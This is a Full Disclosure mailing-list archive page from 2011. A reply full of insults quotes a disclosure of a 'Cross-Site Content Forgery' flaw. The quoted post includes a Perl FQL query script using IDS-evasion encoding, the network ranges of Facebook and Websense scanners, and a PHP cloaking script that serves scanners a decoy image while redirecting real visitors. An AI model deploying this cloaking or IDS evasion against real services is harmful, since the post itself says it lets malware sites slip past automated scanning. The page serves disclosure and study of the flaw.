Full Disclosure mailing list archives

Re: Facebook/google+ Cross-Site Content Forgery exploit


From: Antony widmal <antony.widmal () gmail com>
Date: Sat, 8 Oct 2011 23:45:43 -0400

Shit man, that's serious business....
















(S-K trying to take over FD)

Of course it's not your code dickwad. All ya know is talking & posting shit
on an IT Sec mailing list.






On Sat, Oct 8, 2011 at 7:53 PM, Laurelai <laurelai () oneechan org> wrote:

 Blackhatacademy has asked me to post this to the mailing list as im one of
the instructors there, I did not personally develop the exploit, please
direct questions regarding it to hatter on irc.blackhatacademy.org

Overview
Over the years, facebook has been vulnerable to numerous web 
exploitation<http://www.blackhatacademy.org/security101/index.php?title=Web_Exploitation>techniques, such as
XSS <http://www.blackhatacademy.org/security101/index.php?title=XSS>, FQL
injection (similar to SQL injection<http://www.blackhatacademy.org/security101/index.php?title=SQL_injection>),
application worms, and redirect protection bypass. Because they continue to
attempt to write their own language implementations, they are repeatedly
vulnerable. Security by obscurity doesn't work if they document their own markup
language <http://developers.facebook.com/docs/reference/fbml/> and query
language <http://developers.facebook.com/docs/reference/fql/> for
attackers.  History

XSS <http://www.blackhatacademy.org/security101/index.php?title=XSS> in
facebook first started out as a flaw in their fbml<http://developers.facebook.com/docs/reference/fbml/>markup and 
subsequently became evident in a variety of facebook
applications. Applications<http://www.blackhatacademy.org/security101/index.php?title=Applications>also exposed users 
to third party attacks that could affect a user's web
browser or force actions as the affected user. Now there is a way to bypass
content restrictions on links and posts put on a user's public wall.
Facebook was notified of these 
vulnerabilities<http://www.blackhatacademy.org/security101/index.php?title=Vulnerability>on July 31st, 2011. To date 
(October 4, 2011) Facebook has yet to do
anything about this; demonstrating a deplorable lack of reasonable care for
all of their users. For this reason, the 
vulnerability<http://www.blackhatacademy.org/security101/index.php?title=Vulnerability>proof of concept code is being 
brought to light. Facebook has only recently
purchased websense to attempt to push this vulnerability under the rug,
however the exploit still works.
 FQL

Simply requiring an API key for privileged queries does not protect
facebook from people arbitrarily obtaining one. Facebook was even so kind as
to give a reference of tables and columns in the documentation for FQL. To
access Facebook's FQL API, it takes only a well-formed HTTP request with an
embedded API key to return a valid XML object. FQL Does not allow the use of
JOINS, however it is not needed as everything is thoroughly documented.
Attackers can misuse this during the creation of a malicious facebook
application or directly on the FQL development api page for information
gathering. The implementation below uses LibWhisker2 for IDS evasion via
session splicing.

#!/usr/bin/perluse warnings;use XML::Simple;use LW2;use Getopt::Std;my %opts;
getopts('q:',\%opts);my $query = $opts{q} if defined $opts{q};$query = "SELECT pic_big FROM user WHERE uid=6666666" 
unless defined $opts{q};my $ref = fqlQuery($query);foreach my $parent (sort keys %{$ref}) {
    if (%{$ref->{$parent}}) {
        print "$parent: \n";
        foreach my $key (sort keys %{$ref->{$parent}}) {
            if (%{$ref->{$parent}->{$key}}) {
           print "\t$key : \n";
               foreach my $mojo (sort keys %{$ref->{$parent}->{$key}}) {
                   print "\t\t$mojo : ";
                   print $ref->{$parent}->{$key}->{$mojo};
           print "\n";
           }
            } else {   print "\t$key : ";
               print $ref->{$parent}->{$key};
               print "\n";
            }
        }
    } else {
        print "$parent : " . $ref->{$parent} . "\n";
    }}sub fqlQuery {
    my $q = shift;
    $q =~ s/ /%20/g;
    my $link = "http://api.facebook.com/method/fql.query?query=$q"; 
<http://api.facebook.com/method/fql.query?query=$q>;
    my $text = download($link,"api.facebook.com");
    my $ref  = XMLin($text);
    return($ref);}sub download{
    my $uri = shift;
    my $try = 5;
    my $host = shift;
    my %request;
    my %response;
    LW2::http_init_request(\%request);
    $request{'whisker'}->{'method'} = "GET";
    $request{'whisker'}->{'host'} = $host;
    $request{'whisker'}->{'uri'} = $uri;
    $request{'whisker'}->{'encode_anti_ids'} = 9;
    $request{'whisker'}->{'user-agent'} = "";
    LW2::http_fixup_request(\%request);
    if(LW2::http_do_request(\%request, \%response)) {
        if($try < 5) {
            print "Failed to fetch $uri on try $try. Retrying...\n";
            return undef if(!download($uri, $try++));
        }
        print "Failed to fetch $uri.\n";
        return undef;
    } else {
        return ($response{'whisker'}->{'data'}, $response{'whisker'}->{'data'});
    }}

  Content Forgery

While most major sites that allow link submission are vulnerable to this
method, sites including websense, google+, and facebook make the requests
easily identifiable. These sites send an initial request to the link in
order to store a mirror thumbnail of the image, or a snapshot of the website
being linked to. In doing so, many use a custom user agent, or have IP
addresses<http://www.blackhatacademy.org/security101/index.php?title=IP_address>that resolve to a consistant domain 
name. Facebook IP
addresses<http://www.blackhatacademy.org/security101/index.php?title=IP_address>resolve to
tfbnw.net, also set a custom user agent of "facebookexternalhit". Google+
(Also notified Jul. 31st and guilty of reasonable care) again follows suit
and utilizes "Feedfetcher-Google" as their user agent. Knowing this, we can
easily filter out requests coming from these websites, and offer up a
legitimate image to be displayed on their site, while redirecting or
displaying a completely different page to anyone that follows the links.
Facebook's recent partnership with websense is laughable, due to websense's
"ACE" security scanner that is just as easily identified, by using
gethostbyaddr in order to resolve the IP back to websense.com. Utilizing
this technique, would allow an overwhelming number of malware sites to
remain undetected to their automatic site analysis. Other places like
digg.com either spoof a user agent to look like normal traffic, or forward
the client's user agent, which makes it more difficult to catch every one of
their requests. Fortunately, digg.com only requests the link once, prior
to submitting the link to the world. This allows attackers to serve up a
legitimate image until that initial request clears our server, and then
replace it with a less than honest file. We have affectionately named this
vulnerability class Cross-Site Content Forgery<http://www.blackhatacademy.org/security101/index.php?title=XSCF>.

 Screenshots & Video

 Facebook <http://i.imgur.com/rJf7G.jpg> Google+ <http://i.imgur.com/GSL2s.jpg> Youtube video of PoC for both 
<http://www.youtube.com/watch?v=w6trQc0vWH4>

 CIDR

CIDR ranges can also be checked as well. A list of netranges is below,
followed by an htaccess and PoC code for a jpeg file.
 Websense

*ASN 13448*

 86.111.216.0/21
 204.15.64.0/21
 208.80.192.0/21
 208.87.232.0/21
 192.132.210.0/24
 206.169.148.0/24
 67.117.201.128/28
 80.69.16.112/29
 2605:7000::/32
 2620:0:C0::/48

 Facebook

*ASN 32934/54115*

 173.252.64.0/18
 69.171.224.0/19
 66.220.144.0/20
 69.63.176.0/20
 31.13.24.0/21
 74.119.76.0/22
 65.204.104.128/28
 66.92.180.48/28
 212.187.194.160/28
 212.187.196.96/28
 67.200.105.48/29
 66.93.78.176/29
 66.199.37.136/29
 2620:0:1C00::/48

 Proof of Concept

In order to exploit this flaw, JPG images will need to have a custom
mimetype returned. This can be accomplished via the following .htaccess
directives:

 AddType x-httpd-php .jpg
 AddHandler application/x-httpd-php .jpg

 <?php# User agent checking methods$fb_string = '/facebookexternal/i';                # facebookexternal shows in the 
facebook content scanner's user agent$gplus_string = '/Feedfetcher-Google/i';       # googleplus shows up in the user 
agent as well.# rDNS Lookup Methods$host_websense = '/websense.com/i';         # Checking the rdns for websense 
filters$host_fb = '/tfbnw.net/i';                              # Checking the rdns for tfbnw.net - facebook host# 
Load the request properties$u_agent = $_SERVER['HTTP_USER_AGENT'];$u_ref     = $_SERVER['HTTP_REFERER'];$u_host  = 
gethostbyaddr($_SERVER['REMOTE_ADDR']);# If we're coming from or facebook or websense or google plus, if 
(preg_match($host_fb,$u_host) || preg_match($host_websense,$u_host) || preg_match($fb_string,$u_agent) || 
preg_match($gplus_string,$u_agent)) {
    # Display an image    header('Content-Type: image/jpeg');
    @readfile ('/var/www/localhost/cute_kitten.jpeg');} else {
    # Rickroll this unsuspecting user    header('Location: http://www.youtube.com/watch?v=dQw4w9WgXcQ&ob=av3e&apos;);}?>


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread: